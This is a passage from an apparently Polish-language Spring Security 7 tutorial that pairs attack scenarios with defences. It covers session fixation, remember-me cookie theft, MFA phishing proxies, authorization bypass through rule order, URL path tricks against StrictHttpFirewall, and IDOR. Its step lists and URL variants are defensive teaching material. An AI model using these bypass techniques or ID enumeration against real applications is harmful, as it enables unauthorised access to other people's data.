CompromisedPasswordChecker(np.HaveIBeenPwnedRestApiPasswordChecker) odrzuca poprawne, ale wyciekłe hasło.- MFA zatrzymuje nawet hasło ze świeżego wycieku.
Sesje: fixation, przejęcie, wylogowanie
ciasteczko JSESSIONID jest warte tyle, co hasłoZagrożenie. Po zalogowaniu przeglądarka nie wysyła już hasła. Wysyła identyfikator sesji, najczęściej w ciasteczku JSESSIONID. Kto zna ten identyfikator, jest tobą. Atakujący może go ukraść (przez skrypt XSS, niezaszyfrowane połączenie) albo, sprytniej, podrzucić ci swój identyfikator przed logowaniem. Ten drugi atak to session fixation.
- Otwiera
GET /loginw aplikacji i dostaje anonimową sesjęJSESSIONID=A1B2. - Wciska to ciasteczko przeglądarce ofiary, na przykład z kontrolowanej przez siebie poddomeny tej samej domeny.
- Ofiara loguje się normalnie. Jeśli serwer nie zmieni identyfikatora, sesja
A1B2staje się sesją zalogowanej ofiary. - Atakujący wysyła
GET /kontozCookie: JSESSIONID=A1B2i dostaje200 OKz danymi ofiary. Hasła nie zobaczył ani razu.
Jak działa ochrona. Spring Security przy logowaniu automatycznie zmienia identyfikator sesji. Domyślna strategia changeSessionId zostawia tę samą sesję z danymi, ale nadaje jej nowe ID przez HttpServletRequest#changeSessionId(). Stary identyfikator, który zna atakujący, po prostu przestaje istnieć.
Przed kradzieżą chronią flagi ciasteczka: HttpOnly (skrypt na stronie nie przeczyta go z document.cookie), Secure (tylko po HTTPS) i SameSite (ogranicza wysyłanie z innych stron).
Konfiguracja w Spring Security 7
@Bean
SecurityFilterChain security(HttpSecurity http) throws Exception {
http
.sessionManagement(session -> session
.sessionFixation(fix -> fix.changeSessionId()) // domyślne, piszesz tylko dla czytelności
.maximumSessions(1) // jedna aktywna sesja na użytkownika
)
.logout(logout -> logout
.addLogoutHandler(new HeaderWriterLogoutHandler(
new ClearSiteDataHeaderWriter(ClearSiteDataHeaderWriter.Directive.COOKIES)))
);
return http.build();
}
@Bean // potrzebny, żeby limit sesji wiedział, które sesje wygasły
HttpSessionEventPublisher httpSessionEventPublisher() {
return new HttpSessionEventPublisher();
}
# application.properties (Spring Boot)
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=lax
server.servlet.session.timeout=30m # domyślnie i tak 30m
// ❌ wyłącza ochronę, zostawiając aplikację podatną
.sessionManagement(session -> session.sessionFixation(fix -> fix.none()))
Wylogowanie robi więcej, niż widać. POST /logout unieważnia sesję HTTP, czyści SecurityContext, sprząta remember-me i zapisany token CSRF, a potem przekierowuje na /login?logout. GET /logout pokazuje tylko stronę z potwierdzeniem, bo wylogowanie wymaga tokenu CSRF. Inaczej obca strona mogłaby cię wylogować jednym obrazkiem. Nagłówek Clear-Site-Data dodatkowo każe przeglądarce wyczyścić ciasteczka, storage i cache tej strony.
Trzy strategie fixation: changeSessionId (domyślna od Servlet 3.1), newSession (nowa, czysta sesja, kopiowane są tylko atrybuty Spring Security) i migrateSession (nowa sesja z kopią wszystkich atrybutów). Każda zmiana publikuje SessionFixationProtectionEvent. Klasyczne podrzucanie przez URL (;jsessionid=...) blokuje też StrictHttpFirewall: średnik w ścieżce jest odrzucany, dopóki sam nie włączysz setAllowSemicolon(true).
Przy maximumSessions(1) drugie logowanie domyślnie wyrzuca pierwszą sesję. Z maxSessionsPreventsLogin(true) blokuje za to nowe logowanie. Rejestr sesji jest domyślnie w pamięci jednego węzła.
- W klastrze domyślny
SessionRegistry(mapa w pamięci) nie widzi sesji z innych węzłów. Przy limicie sesji potrzebujesz wspólnego magazynu, na przykład Spring Session. - Nie mieszaj aplikacji o różnym poziomie zaufania pod jedną domeną. Dziura w
blog.firma.plpozwala ustawić ciasteczko dlabank.firma.pl. - Krótki timeout bezczynności dla paneli administracyjnych, dłuższy dla zwykłych użytkowników, plus ponowne logowanie przed operacjami wrażliwymi.
Ciasteczko sesji ma HttpOnly, ale nie ma Secure. Strona działa po HTTPS, a jeden obrazek ładuje się przez http:// z tej samej domeny. Co może się stać w kawiarnianym Wi-Fi?
Odpowiedź
Przeglądarka dołączy ciasteczko do żądania po zwykłym HTTP, więc każdy w tej samej sieci odczyta JSESSIONID i przejmie sesję. HttpOnly chroni przed skryptami, nie przed podsłuchem. Do tego potrzebny jest Secure (i HSTS).
- Identyfikator sesji to klucz do konta. Spring zmienia go przy logowaniu (
changeSessionId), co rozbraja fixation. - Ciasteczko:
HttpOnly,Secure,SameSite. W Boocie ustawiasz je przezserver.servlet.session.cookie.*. maximumSessionsogranicza liczbę równoległych sesji i wymagaHttpSessionEventPublisher.- Wylogowanie to
POST /logoutz CSRF: unieważnia sesję i opcjonalnie wysyłaClear-Site-Data.
Remember-me
ciasteczko, które jest hasłem na dwa tygodnieZagrożenie. Checkbox „zapamiętaj mnie” zostawia w przeglądarce długowieczne ciasteczko remember-me, domyślnie ważne dwa tygodnie. Kiedy sesja wygaśnie, aplikacja zaloguje cię z niego bez hasła. Dla atakującego to łup lepszy niż JSESSIONID: żyje dłużej i przetrwa zamknięcie przeglądarki.
- Zdobywa kopię ciasteczka
remember-me: z zainfekowanego laptopa, z backupu profilu przeglądarki albo z logów źle skonfigurowanego proxy. - Wkleja je do własnej przeglądarki i otwiera aplikację.
RememberMeAuthenticationFilterwidzi ważny token i loguje go jako ofiarę. - Przy tokenie opartym na hashu może to powtarzać z dowolnego urządzenia aż do wygaśnięcia, a ofiara nic nie zauważy.
Jak działa ochrona. Spring ma dwie implementacje. TokenBasedRememberMeServices trzyma wszystko w ciasteczku: base64(username:expirationTime:algorithmName:podpis), gdzie podpis to hash z loginu, czasu wygaśnięcia, hasła i tajnego klucza (domyślnie SHA-256). Działa bez bazy, ale skradzione ciasteczko jest ważne z każdej przeglądarki do końca ważności. Unieważnisz je tylko zmianą hasła (lub klucza).
PersistentTokenBasedRememberMeServices trzyma w ciasteczku parę series + token, a w tabeli persistent_logins ich kopię. Przy każdym użyciu seria zostaje, a token jest losowany na nowo. Gdy przyjdzie znana seria ze starym tokenem, ktoś użył kopii ciasteczka. Spring usuwa wtedy wszystkie tokeny tego użytkownika i rzuca CookieTheftException.
Konfiguracja w Spring Security 7
@Bean
PersistentTokenRepository rememberMeTokens(DataSource dataSource) {
var repo = new JdbcTokenRepositoryImpl(); // tabela persistent_logins(username, series, token, last_used)
repo.setDataSource(dataSource);
return repo;
}
@Bean
SecurityFilterChain security(HttpSecurity http, PersistentTokenRepository tokens) throws Exception {
http
.formLogin(Customizer.withDefaults())
.rememberMe(remember -> remember
.tokenRepository(tokens) // bez tego: TokenBasedRememberMeServices
.tokenValiditySeconds(7 * 24 * 3600)
.useSecureCookie(true)
);
return http.build();
}
- Jeśli nie podasz
key, Spring wygeneruje losowy klucz. W klastrze ustaw jeden wspólny klucz (z menedżera sekretów), bo inaczej ciasteczko z jednego węzła nie przejdzie na drugim. - Logowanie z remember-me to słabszy dowód tożsamości niż świeże hasło. Przed zmianą e-maila czy przelewem wymagaj pełnego logowania (
fullyAuthenticated()) albo drugiego składnika. - Na
CookieTheftExceptionwarto zareagować: alert bezpieczeństwa, e-mail do użytkownika, unieważnienie jego sesji. - Dla aplikacji o wysokim ryzyku nasza rada: rozważ rezygnację z remember-me. Dokumentacja ostrzega, że przechwycony token działa z każdej przeglądarki aż do wygaśnięcia.
- Ciasteczko
remember-me(domyślnie 2 tygodnie,HttpOnly) loguje bez hasła, więc chroń je jak hasło. TokenBasedRememberMeServices: podpis z hasłem i kluczem, kradzieży nie wykryje.PersistentTokenBasedRememberMeServices: series + rotowany token, przy niezgodnościCookieTheftExceptioni usunięcie tokenów.- Pierwsze użycie skradzionego ciasteczka udaje się zawsze. Wykrycie następuje dopiero, gdy wróci prawowity właściciel.
MFA, One-Time Token, passkeys
drugi składnik, którego nie da się przekazać dalejZagrożenie. Hasło można wyłudzić, a fałszywa strona logowania wygląda dziś tak samo jak prawdziwa. Drugi składnik (kod z e-maila, SMS-a, aplikacji) bardzo utrudnia atak, ale kod wpisywany ręcznie ma słaby punkt: człowiek nie sprawdza adresu strony. Phishing w czasie rzeczywistym przekazuje dalej i hasło, i kod.
- Rejestruje domenę
bank-examp1e.comi stawia na niej proxy, które wyświetla prawdziwe strony banku. - Ofiara klika link z maila i wpisuje login i hasło. Proxy natychmiast loguje się nimi w prawdziwej aplikacji.
- Aplikacja prosi o drugi składnik i wysyła ofierze kod. Ofiara wpisuje go na fałszywej stronie, a proxy przekazuje go dalej w ciągu sekund.
- Atakujący dostaje zalogowaną sesję z kompletem składników.
Jak działa ochrona. Spring Security 7 wprowadził MFA jako zwykłe uprawnienia. Każdy mechanizm logowania dokłada do Authentication FactorGrantedAuthority: hasło daje FACTOR_PASSWORD, jednorazowy token FACTOR_OTT, a passkey FACTOR_WEBAUTHN. Adnotacja @EnableMultiFactorAuthentication sprawia, że reguły autoryzacji wymagają kompletu składników. Brakuje któregoś? Spring sam przekierowuje do odpowiedniego ekranu logowania.
One-Time Token (OTT) to jednorazowy token generowany po stronie serwera i dostarczany na przykład jako magic link e-mailem. Domyślnie wygasa po 5 minutach. Uwaga: to nie jest TOTP z aplikacji, bo nie wymaga wcześniejszego parowania. Passkey (WebAuthn) to para kluczy: prywatny zostaje w urządzeniu, serwer zna publiczny. Kluczowe jest to, że przeglądarka wiąże passkey z domeną (rpId), a serwer sprawdza, z jakiego origin przyszło podpisane wyzwanie. Na fałszywej domenie passkey po prostu nie zadziała.
https://bank.exampleKonfiguracja w Spring Security 7
@Configuration
@EnableWebSecurity
@EnableMultiFactorAuthentication(authorities = {
FactorGrantedAuthority.PASSWORD_AUTHORITY,
FactorGrantedAuthority.OTT_AUTHORITY })
class SecurityConfig {
@Bean
SecurityFilterChain security(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/admin/**").hasRole("ADMIN") // + FACTOR_PASSWORD + FACTOR_OTT
.anyRequest().authenticated() // + FACTOR_PASSWORD + FACTOR_OTT
)
.formLogin(Customizer.withDefaults())
.oneTimeTokenLogin(Customizer.withDefaults()); // wysyłkę tokenu dopisujesz sam
return http.build();
}
}
Passkeys włączasz zależnością spring-security-webauthn i jednym blokiem DSL:
http.webAuthn(webAuthn -> webAuthn
.rpId("bank.example") // domena, do której przypięte są passkeys
.allowedOrigins("https://bank.example")); // skąd wolno przyjąć podpis
Rejestracja nowego klucza odbywa się pod /webauthn/register, a domyślna strona logowania dostaje przycisk logowania passkeyem. OneTimeTokenGenerationSuccessHandler (wysyłkę maila lub SMS-a) musisz napisać sam, bo Spring nie wie, jak dotrzeć do twoich użytkowników.
- Domyślny
InMemoryOneTimeTokenServicenie przetrwa restartu i nie działa w klastrze. Na produkcji użyjJdbcOneTimeTokenService. - Wdrażaj stopniowo:
when = MultiFactorCondition.WEBAUTHN_REGISTEREDwymaga drugiego składnika tylko od użytkowników, którzy już mają passkey. - Ścieżka odzyskiwania konta (zgubiony telefon) to najsłabsze ogniwo MFA. Nie może być prostsza niż samo logowanie.
🔬 Głębiej: MFA tylko tam, gdzie trzeba, i „świeżość” składnika
Adnotacja @EnableMultiFactorAuthentication(authorities = …) to skrót, który publikuje bean AuthorizationManagerFactory i dokleja wymagane składniki do każdej reguły. Jeśli chcesz MFA tylko dla części ścieżek, daj authorities = {} (włącza obsługę MFA, ale nie publikuje fabryki) i zbuduj fabrykę lokalnie:
var mfa = AuthorizationManagerFactories.multiFactor()
.requireFactors(FactorGrantedAuthority.PASSWORD_AUTHORITY, FactorGrantedAuthority.OTT_AUTHORITY)
.build();
var passwordIn30m = AuthorizationManagerFactories.multiFactor()
.requireFactor(factor -> factor.passwordAuthority().validDuration(Duration.ofMinutes(30)))
.build();
http.authorizeHttpRequests(auth -> auth
.requestMatchers("/admin/**").access(passwordIn30m.hasRole("ADMIN"))
.requestMatchers("/user/settings/**").access(mfa.authenticated())
.anyRequest().authenticated());
FactorGrantedAuthority pamięta moment wydania (issuedAt), ale nie określa, jak długo jest ważny. Dzięki temu ten sam składnik może być „dość świeży” dla ustawień konta (godzina) i „za stary” dla panelu admina (30 minut). To jest step-up authentication bez własnego kodu. Spring 7.1 dodał też warunki when/withWhen w AuthorizationManagerFactories.multiFactor() i alternatywy, na przykład „sam passkey albo hasło + OTT”.
- MFA w Spring Security 7 to uprawnienia
FACTOR_*(FactorGrantedAuthority) plus@EnableMultiFactorAuthentication. - OTT to jednorazowy token z serwera (domyślnie 5 min). Wysyłkę piszesz sam, na produkcję bierzesz
JdbcOneTimeTokenService. - Kod wpisywany ręcznie da się przekazać przez phishingowe proxy. Passkey jest przypięty do domeny, więc się nie da.
validDurationwymusza świeże uwierzytelnienie przed wrażliwymi operacjami.
Autoryzacja — co ci wolno?
Uwierzytelnianie odpowiada na pytanie „kim jesteś?”. Autoryzacja odpowiada na pytanie „co ci wolno?” i to tutaj leży najwięcej realnych dziur. Zobaczysz pięć miejsc, w których aplikacja wpuszcza nie tę osobę: kolejność reguł URL, zatrute adresy, adnotacje na metodach, cudze rekordy (IDOR) i pomylone role.
authorizeHttpRequests: pierwsza pasująca reguła wygrywa
kolejność to też konfiguracja bezpieczeństwaZagrożenie. Masz panel /admin/users z listą klientów. Atakujący nie musi łamać hasła admina. Wystarczy mu zwykłe konto i reguła ustawiona w złym miejscu listy. Wtedy sam framework otworzy mu drzwi.
Drugi scenariusz: ktoś dodaje nowy endpoint /internal/metrics i zapomina dopisać dla niego regułę. Jeśli twoja konfiguracja „przepuszcza wszystko, czego nie wymieniono”, ten endpoint jest publiczny od pierwszego deploya.
- Zakłada zwykłe konto w aplikacji, np.
janz roląUSER. - Wysyła
GET /admin/usersze swoim ciasteczkiem sesji. - Pierwsza reguła na liście to
requestMatchers("/**").authenticated(). Pasuje, ajanjest zalogowany, więc żądanie przechodzi. - Reguła
/admin/**→hasRole("ADMIN")stoi niżej i nigdy nie zostaje sprawdzona. Atakujący dostaje200 OKi listę użytkowników.
Jak działa ochrona
W authorizeHttpRequests deklarujesz pary: dopasowanie → reguła. AuthorizationFilter przechodzi je w kolejności zapisu i stosuje tylko pierwszą pasującą. Kolejne reguły już się nie liczą, nawet jeśli są bardziej szczegółowe.
Stąd zasada: najpierw wąskie ścieżki (/admin/**), potem szersze, a na samym końcu anyRequest(). Na końcu najlepiej postawić anyRequest().denyAll(). Wtedy lista działa jak allow list: wszystko, czego nie wymieniłeś, jest zabronione.
GET …jan, rola USER), dopasowanie ścieżek bez szczegółów składni wzorców. Kod 403 oznacza „zalogowany, ale bez uprawnień”.Konfiguracja w Spring Security 7
// ❌ szeroka reguła na górze połyka wszystko pod spodem
http.authorizeHttpRequests((authorize) -> authorize
.requestMatchers("/**").authenticated()
.requestMatchers("/admin/**").hasRole("ADMIN") // nigdy nie zostanie sprawdzona
.anyRequest().permitAll()
);
@Bean
SecurityFilterChain web(HttpSecurity http) throws Exception {
http.authorizeHttpRequests((authorize) -> authorize
.dispatcherTypeMatchers(DispatcherType.FORWARD, DispatcherType.ERROR).permitAll()
.requestMatchers("/public/**", "/login").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.requestMatchers(HttpMethod.GET, "/orders/**").hasAuthority("orders:read")
.requestMatchers(HttpMethod.POST, "/orders/**").hasAuthority("orders:write")
.anyRequest().denyAll() // allow list: reszta zabroniona
);
return http.build();
}
W Spring Security 7 usunięto AntPathRequestMatcher i MvcRequestMatcher. Ich miejsce zajął PathPatternRequestMatcher, oparty na PathPattern ze Springa. Gdy podajesz w requestMatchers zwykłe stringi, framework buduje te matchery za ciebie. Gdy aplikacja MVC siedzi pod innym servlet path, użyj PathPatternRequestMatcher.withDefaults().basePath("/spring-mvc").
AuthorizationFilter jest domyślnie ostatnim filtrem łańcucha i autoryzuje każdy dispatch, czyli także FORWARD, ERROR i INCLUDE. Dlatego bez dispatcherTypeMatchers(FORWARD, ERROR).permitAll() reguła denyAll() potrafi zablokować nawet renderowanie strony błędu.
- Kończ każdą listę jawnym
anyRequest().denyAll()alboauthenticated(). OWASP radzi nie polegać na domyślnych ustawieniach bibliotek, bo te mogą się zmienić między wersjami. - Dla każdej reguły napisz test MockMvc z
@WithMockUser: jeden dla właściwej roli (200), jeden dla złej (403). - Reguły URL to pierwsza linia obrony, nie jedyna. Dokumentacja Spring Security sama zaleca dokładać method security w warstwie serwisów, bo URL-e się zmieniają.
Kolega twierdzi: „Spring wybierze najbardziej szczegółową regułę, więc kolejność nie ma znaczenia”. Ma rację?
Odpowiedź
Nie. AuthorizationFilter stosuje pierwszą pasującą parę w kolejności zapisu. Szczegółowość wzorca nie ma znaczenia. To najczęstsze nieporozumienie w tym temacie.
- Reguły są sprawdzane od góry. Wygrywa pierwsza pasująca, nie najbardziej szczegółowa.
- Wąskie ścieżki na górę,
anyRequest()na sam koniec. anyRequest().denyAll()zamienia konfigurację w allow list.- Możesz dopasowywać też po metodzie HTTP (
HttpMethod.GET) i po typie dispatchu.
Zatrute URL-e: StrictHttpFirewall
ten sam adres, inaczej zapisanyZagrożenie. Reguła /admin/** chroni ścieżkę w tej postaci, w jakiej zobaczy ją matcher. Kontener servletów może jednak zrozumieć ten sam adres inaczej. Jeśli matcher widzi /admin;x=1/users i nic nie dopasowuje, a kontener po obcięciu parametru wywołuje kontroler /admin/users, atakujący omija regułę bez łamania czegokolwiek.
Dokumentacja Spring Security wprost wymienia te sztuczki: parametry ścieżki po średniku, sekwencje /../ i podwójne ukośniki //. Specyfikacja servletów nie określa dokładnie, co trafia do servletPath i pathInfo, a kontenery zachowują się tu różnie.
- Sprawdza, że
GET /admin/usersdaje mu403. Reguła działa. - Próbuje wariantów tego samego adresu:
/admin;x=1/users,/public/../admin/users,//admin/users,/admin%2Fusers. - Szuka wariantu, którego matcher nie rozpozna jako
/admin/**, a który kontener i tak skieruje do kontrolera admina. - Gdy taki wariant trafi na regułę zapasową (np.
anyRequest().authenticated()), dostaje200z danymi admina.
Jak działa ochrona
FilterChainProxy przepuszcza każde żądanie przez HttpFirewall, zanim zadziała jakikolwiek filtr. Domyślną implementacją jest StrictHttpFirewall, który odrzuca podejrzane żądania, zamiast próbować je naprawiać. Domyślnie odrzuca:
- URL-e nieznormalizowane, np. z
/../lub/./, i z podwójnym ukośnikiem//; - średnik
;, zakodowany ukośnik%2F, backslash\i%5C, zakodowany procent%25, znakNUL; - znaki spoza drukowalnego ASCII w URI, w tym CR i LF;
- metody HTTP spoza listy
DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT, więc np.TRACE; - niedozwolone nazwy i wartości nagłówków oraz nazwy parametrów (znaki kontrolne, niezdefiniowane code pointy).
Odrzucenie to wyjątek RequestRejectedException. FilterChainProxy obsługuje go domyślnie przez HttpStatusRequestRejectedHandler, który zwraca 400 Bad Request.
/admin/** → hasRole('ADMIN') · anyRequest() → authenticated() · użytkownik: jan (ROLE_USER)Konfiguracja w Spring Security 7
Nic nie musisz włączać, bo StrictHttpFirewall działa domyślnie. Konfigurujesz go tylko wtedy, gdy chcesz coś poluzować, i robisz to możliwie wąsko:
@Bean
StrictHttpFirewall httpFirewall() {
StrictHttpFirewall firewall = new StrictHttpFirewall();
firewall.setAllowedHttpMethods(List.of("GET", "POST")); // zawęża listę metod
// firewall.setAllowSemicolon(true); // tylko jeśli naprawdę używasz matrix variables
return firewall;
}
- Nie wyłączaj reguł firewalla „bo partner wysyła średnik”. Każde
setAllowXxx(true)wymaga przeglądu bezpieczeństwa i testu z wariantami URL. - Monitoruj liczbę odpowiedzi 400 z odrzuceń. Nagły skok to często skanowanie albo próba obejścia reguł.
- Firewall dotyczy tylko żądań przechodzących przez
FilterChainProxy. Filtry Spring Security zarejestrowane ręcznie obok niego tej ochrony nie dostają.
/public/../admin do /admin?StrictHttpFirewall mówi wprost: normalizacja jest krucha, dlatego żądania są odrzucane, a nie naprawiane. Naprawianie oznaczałoby zgadywanie, co zrobi kontener.- Obejście bierze się z różnicy między tym, co widzi matcher, a tym, co wywołuje kontener.
StrictHttpFirewalljest domyślny i odrzuca;,%2F,\,%25,//,..i niedrukowalne znaki.- Odrzucenie:
RequestRejectedException, domyślnie odpowiedź400. - Luzuj firewall punktowo i świadomie.
Method security i pułapka this.
adnotacja działa tylko, gdy wołasz przez proxyZagrożenie. Reguły URL widzą tylko żądanie HTTP: adres, metodę i typ dispatchu. Ten sam serwis bywa jednak wołany z kontrolera REST, z kolejki, z joba i z GraphQL. Dlatego zabezpieczasz go w warstwie serwisów adnotacjami. Problem w tym, że adnotacja działa przez proxy Springa, a wywołanie this.metoda() wewnątrz klasy omija proxy.
deleteOrder(id)ma@PreAuthorize("hasRole('ADMIN')"). Bezpośrednie wywołanie przezjankończy się 403.- Atakujący znajduje publiczny endpoint
POST /orders/archive, który wołaarchiveAll(). Ta metoda nie ma adnotacji. - Wewnątrz
archiveAll()jest pętla zthis.deleteOrder(id). To wywołanie idzie po referencjithis, nie przez proxy. - Interceptor bezpieczeństwa nie zostaje wywołany. Zamówienia znikają z uprawnieniami zwykłego użytkownika.
Jak działa ochrona
@EnableMethodSecurity włącza domyślnie @PreAuthorize, @PostAuthorize, @PreFilter i @PostFilter. Spring Boot nie włącza method security sam z siebie, więc tę adnotację musisz dodać.
Gdy wołasz metodę beana, trafiasz najpierw do proxy. W łańcuchu proxy siedzi AuthorizationManagerBeforeMethodInterceptor. Wywołuje on PreAuthorizeAuthorizationManager#authorize, który liczy wyrażenie SpEL. Przy odmowie publikowany jest AuthorizationDeniedEvent, leci AccessDeniedException, a w żądaniu HTTP ExceptionTranslationFilter zamienia go na 403.
Dokumentacja Spring Framework mówi wprost: wywołanie na samym sobie przez jawne lub niejawne this omija advice. Proxy nie ma szansy zadziałać.
orderService.…AuthorizationManagerBeforeMethodInterceptor (brak adnotacji)archiveAll()@PreAuthorize("hasRole('ADMIN')")deleteOrder(id)this.deleteOrder(id) omija proxy@PreAuthorize. Wyłączony przełącznik oznacza wersję z adnotacją tylko na metodzie wołanej wewnętrznie.Konfiguracja w Spring Security 7
@Service
public class OrderService {
public void archiveAll() { // ❌ brak kontroli na granicy beana
for (Long id : staleIds()) this.deleteOrder(id); // this. → obok proxy
}
@PreAuthorize("hasRole('ADMIN')")
public void deleteOrder(Long id) { … }
}
@Configuration
@EnableMethodSecurity
class MethodSecurityConfig { }
@Service
@PreAuthorize("hasRole('ADMIN')") // klasa: każda publiczna metoda dziedziczy regułę
public class OrderAdminService {
public void archiveAll() { … }
public void deleteOrder(Long id) { … }
}
@Service
class OrderQueries {
@PostAuthorize("returnObject.owner == authentication.name")
public Order read(Long id) { … }
@PostFilter("filterObject.owner == authentication.name")
public List<Order> recent() { … }
}
- Stawiaj adnotacje na publicznych metodach wejściowych serwisu albo na klasie. Metody wołane wewnętrznie traktuj jak niezabezpieczone.
- Nie łącz
@PostAuthorizez zapisem do bazy w tej samej metodzie. Dokumentacja ostrzega, że zmiana trafi do bazy przed sprawdzeniem reguły. Najpierw odczyt z@PostAuthorize, potem zapis. @PostFilterfiltruje kolekcję zwróconą przez metodę, więc najpierw pobierasz wszystkie rekordy. Przy dużych zbiorach lepiej filtrować w zapytaniu.
🔬 Głębiej: meta-adnotacje, fallbacki i AspectJ
Każda adnotacja ma własny pointcut, który szuka jej (lub meta-adnotacji) w całej hierarchii obiektu, zaczynając od metody i klasy. Kilka różnych adnotacji na jednej metodzie liczy się szeregowo, jak koniunkcja. Powtarzanie tej samej adnotacji na jednej metodzie nie jest wspierane.
Meta-adnotacja @IsAdmin z @PreAuthorize("hasRole('ADMIN')") usuwa kopiowanie stringów. Po opublikowaniu beana AnnotationTemplateExpressionDefaults możesz robić szablony, np. @HasRole("ADMIN").
Zamiast wyjątku możesz zwrócić wartość zastępczą: @HandleAuthorizationDenied(handlerClass = …) z własnym MethodAuthorizationDeniedHandler, np. maskującym e-mail na ***. Działa dla odmów z @PreAuthorize, @PostAuthorize i dla AuthorizationDeniedException rzuconego z metody.
Pułapkę this. usuwa też tryb @EnableMethodSecurity(mode = AdviceMode.ASPECTJ). Weaving AspectJ wstawia advice do bajtkodu, więc nie ma proxy do ominięcia. Kosztem jest bardziej złożony build.
/admin.this.!@EnableMethodSecuritywłącza@Pre/PostAuthorizei@Pre/PostFilter. Boot nie robi tego sam.- Kontrola działa w proxy. Wywołanie
this.x()ją omija. - Zabezpieczaj metody wejściowe albo całą klasę.
- Odmowa →
AccessDeniedException→ 403 w żądaniu HTTP.
IDOR / BOLA: cudze zamówienie
zmieniasz 42 na 43 i czytasz cudzy adresZagrożenie. Zalogowany jan ogląda swoje zamówienie pod /api/orders/42. Liczba w URL-u to bezpośrednia referencja do obiektu, często klucz główny z bazy. Jeśli serwer nie sprawdza, czy zamówienie należy do jan, to /api/orders/43 pokaże cudzy adres, telefon i zawartość koszyka.
OWASP nazywa to IDOR (Insecure Direct Object Reference). W API ten sam błąd nazywa się BOLA. Składają się na niego trzy rzeczy: obiekt, referencja do niego i brak sprawdzenia uprawnień na poziomie obiektu. Spring Security tego za ciebie nie zrobi, bo nie wie, kto jest właścicielem zamówienia.
- Loguje się normalnie i otwiera swoje zamówienie:
GET /api/orders/42→ 200. - Zmienia liczbę:
GET /api/orders/43. Sesja jest ważna, reguła URLauthenticated()przepuszcza. - Kontroler robi
findById(43)i oddaje rekord. Nikt nie pyta, czyj on jest. - Skrypt przechodzi po kolejnych id i zbiera dane wszystkich klientów. Losowe UUID utrudniłyby zgadywanie, ale nie naprawiają braku kontroli.
Jak działa ochrona
Sprawdzasz własność przy każdym dostępie do obiektu. Najprostszy wariant, polecany przez OWASP, to zapytanie zawężone do zbioru, do którego użytkownik ma dostęp: findByIdAndOwner(id, aktualnyUser). Cudzy rekord po prostu nie istnieje dla tego zapytania, więc dostajesz 404.
Inne warianty w Springu: @PostAuthorize("returnObject.owner == authentication.name") po odczycie, metoda beana w SpEL (@PreAuthorize("@orderAuthz.canRead(#id, authentication)")) albo własny AuthorizationManager. Najważniejsze, żeby tożsamość brać z kontekstu bezpieczeństwa, a nie z parametru żądania.
Konfiguracja w Spring Security 7
@GetMapping("/api/orders/{id}")
Order get(@PathVariable Long id) {
return orders.findById(id).orElseThrow(); // ❌ każdy zalogowany czyta każde zamówienie
}
@GetMapping("/api/orders/{id}")
Order get(@PathVariable Long id, Authentication auth) {
return orders.findByIdAndOwner(id, auth.getName()) // zawężone do właściciela
.orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));
}
// alternatywnie w serwisie:
@PostAuthorize("returnObject.owner == authentication.name")
public Order read(Long id) { return orders.findById(id).orElseThrow(); }
- Testuj IDOR dwoma kontami: użytkownik A próbuje czytać, edytować, usuwać i eksportować obiekty użytkownika B. OWASP każe sprawdzać wszystkie te operacje, nie tylko odczyt.
- Nie ufaj ukrytym polom typu
user_idw formularzu. Aktualnego użytkownika bierz z sesji lub tokenu. - Przy wielu najemcach (multi-tenant) dodawaj warunek
tenant_iddo każdego zapytania. OWASP zaleca tu modele ABAC/ReBAC zamiast samych ról.
🔬 Głębiej: moduł ACL Spring Security
Gdy uprawnienia są per obiekt i per osoba („Ania może edytować dokument 7, Bartek tylko czytać”), Spring Security oferuje moduł ACL w osobnym jarze spring-security-acl. Każdy obiekt domenowy ma własną listę ACL.
Domyślne tabele to ACL_SID (kto: principal lub authority), ACL_CLASS (typ obiektu), ACL_OBJECT_IDENTITY (konkretny obiekt) i ACL_ENTRY (pojedyncze uprawnienie jako maska bitowa). Wbudowane uprawnienia w BasePermission to read (bit 0), write (1), create (2), delete (3) i administer (4).
W adnotacjach używasz hasPermission, np. @PostFilter("hasPermission(filterObject, read)"). ACL to sporo tabel i wierszy, więc w praktyce wiele zespołów zaczyna od zapytań zawężonych do właściciela i sięga po ACL dopiero przy współdzieleniu obiektów.
Zamieniłeś id liczbowe na UUID. Czy IDOR zniknął?
Odpowiedź
Nie. UUID trudniej zgadnąć, ale wyciekają w logach, linkach i mailach. OWASP traktuje złożone identyfikatory jako dodatkową warstwę obrony. Kontrola dostępu nadal jest obowiązkowa.
- IDOR to brak sprawdzenia, czy ten konkretny obiekt należy do użytkownika.
- Reguły URL i role tego nie wyłapią. Potrzebny jest warunek na obiekcie.
- Najprościej: zapytanie zawężone do właściciela. Alternatywy:
@PostAuthorize, bean w SpEL,AuthorizationManager. - UUID to dodatek, nie zabezpieczenie.
Role, authorities i hierarchia
ROLE_ to tylko prefiks, ale potrafi zabolećZagrożenie. Tym razem nie ma sprytnego atakującego. Jest literówka. Odwrócona hierarchia ról (ROLE_USER > ROLE_ADMIN) daje każdemu użytkownikowi uprawnienia admina. Pomylone hasAuthority("ADMIN") zamiast hasRole("ADMIN") zamyka panel przed prawdziwymi adminami, a ktoś w pośpiechu „naprawia” to przez permitAll().
- W konfiguracji ląduje
RoleHierarchyImpl.fromHierarchy("ROLE_USER > ROLE_ADMIN"). Autor chciał zapisać odwrotnie. - Zwykły
janzROLE_USERwysyłaGET /admin/users. - Hierarchia dopisuje mu osiągalne
ROLE_ADMIN.hasRole('ADMIN')mówi „tak”. - Jan dostaje 200. Nikt nie złamał zabezpieczeń, bo konfiguracja sama wydała mu uprawnienia.
Jak działa ochrona
Uprawnienia użytkownika to kolekcja GrantedAuthority, czyli w praktyce stringów. Rola to authority z prefiksem ROLE_. hasRole("ADMIN") to skrót, który dokleja prefiks i szuka ROLE_ADMIN. hasAuthority("ADMIN") szuka dokładnie ADMIN. Prefiks zmienisz beanem GrantedAuthorityDefaults.
hasRole("ROLE_ADMIN") nie przejdzie: AuthorityAuthorizationManager rzuca wyjątek, że rola nie powinna zaczynać się od ROLE_, bo prefiks jest doklejany automatycznie. W Resource Server scope'y z JWT stają się authorities z prefiksem SCOPE_, więc sprawdzasz je przez hasAuthority("SCOPE_messages").
